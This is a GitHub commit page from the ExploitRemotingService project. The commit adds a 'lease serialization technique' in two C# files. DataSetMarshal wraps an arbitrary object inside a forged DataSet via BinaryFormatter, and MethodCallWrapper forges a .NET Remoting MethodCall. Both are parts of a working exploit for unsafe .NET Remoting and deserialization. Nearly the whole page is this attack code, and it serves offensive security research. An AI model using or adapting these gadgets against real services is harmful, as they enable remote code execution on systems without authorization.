-
Notifications
You must be signed in to change notification settings - Fork 110
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added lease serialization technique.
- Loading branch information
Showing
11 changed files
with
366 additions
and
103 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
// ExploitRemotingService | ||
// Copyright (C) 2019 James Forshaw | ||
// | ||
// This program is free software: you can redistribute it and/or modify | ||
// it under the terms of the GNU General Public License as published by | ||
// the Free Software Foundation, either version 3 of the License, or | ||
// (at your option) any later version. | ||
// | ||
// This program is distributed in the hope that it will be useful, | ||
// but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
// GNU General Public License for more details. | ||
// | ||
// You should have received a copy of the GNU General Public License | ||
// along with this program. If not, see <http://www.gnu.org/licenses/>. | ||
|
||
using System; | ||
using System.Data; | ||
using System.IO; | ||
using System.Runtime.Remoting.Messaging; | ||
using System.Runtime.Serialization; | ||
using System.Runtime.Serialization.Formatters.Binary; | ||
|
||
namespace ExploitRemotingService | ||
{ | ||
[Serializable] | ||
class DataSetMarshal : ISerializable | ||
{ | ||
object _fakeTable; | ||
public void GetObjectData(SerializationInfo info, StreamingContext context) | ||
{ | ||
info.SetType(typeof(System.Data.DataSet)); | ||
info.AddValue("DataSet.RemotingFormat", SerializationFormat.Binary); | ||
info.AddValue("DataSet.DataSetName", ""); | ||
info.AddValue("DataSet.Namespace", ""); | ||
info.AddValue("DataSet.Prefix", ""); | ||
info.AddValue("DataSet.CaseSensitive", false); | ||
info.AddValue("DataSet.LocaleLCID", 0x409); | ||
info.AddValue("DataSet.EnforceConstraints", false); | ||
info.AddValue("DataSet.ExtendedProperties", null); | ||
info.AddValue("DataSet.Tables.Count", 1); | ||
BinaryFormatter fmt = new BinaryFormatter | ||
{ | ||
SurrogateSelector = new RemotingSurrogateSelector() | ||
}; | ||
MemoryStream stm = new MemoryStream(); | ||
fmt.Serialize(stm, _fakeTable); | ||
|
||
info.AddValue("DataSet.Tables_0", stm.ToArray()); | ||
} | ||
public DataSetMarshal(object fakeTable) | ||
{ | ||
_fakeTable = fakeTable; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
// ExploitRemotingService | ||
// Copyright (C) 2019 James Forshaw | ||
// | ||
// This program is free software: you can redistribute it and/or modify | ||
// it under the terms of the GNU General Public License as published by | ||
// the Free Software Foundation, either version 3 of the License, or | ||
// (at your option) any later version. | ||
// | ||
// This program is distributed in the hope that it will be useful, | ||
// but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
// GNU General Public License for more details. | ||
// | ||
// You should have received a copy of the GNU General Public License | ||
// along with this program. If not, see <http://www.gnu.org/licenses/>. | ||
|
||
using System; | ||
using System.Linq; | ||
using System.Reflection; | ||
using System.Runtime.Remoting.Messaging; | ||
using System.Runtime.Serialization; | ||
|
||
namespace ExploitRemotingService | ||
{ | ||
[Serializable] | ||
class MethodCallWrapper : ISerializable | ||
{ | ||
private readonly string _uri; | ||
private readonly MethodBase _method; | ||
private readonly object[] _args; | ||
|
||
public MethodCallWrapper(string uri, MethodBase method, object[] args) | ||
{ | ||
_uri = uri; | ||
_method = method; | ||
_args = args; | ||
} | ||
|
||
public void GetObjectData(SerializationInfo info, StreamingContext context) | ||
{ | ||
info.SetType(typeof(MethodCall)); | ||
info.AddValue("__Uri", _uri); | ||
info.AddValue("__MethodName", _method.Name); | ||
info.AddValue("__MethodSignature", _method.GetParameters().Select(p => p.ParameterType).ToArray()); | ||
info.AddValue("__Args", _args); | ||
info.AddValue("__TypeName", _method.DeclaringType.FullName); | ||
info.AddValue("__CallContext", string.Empty); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.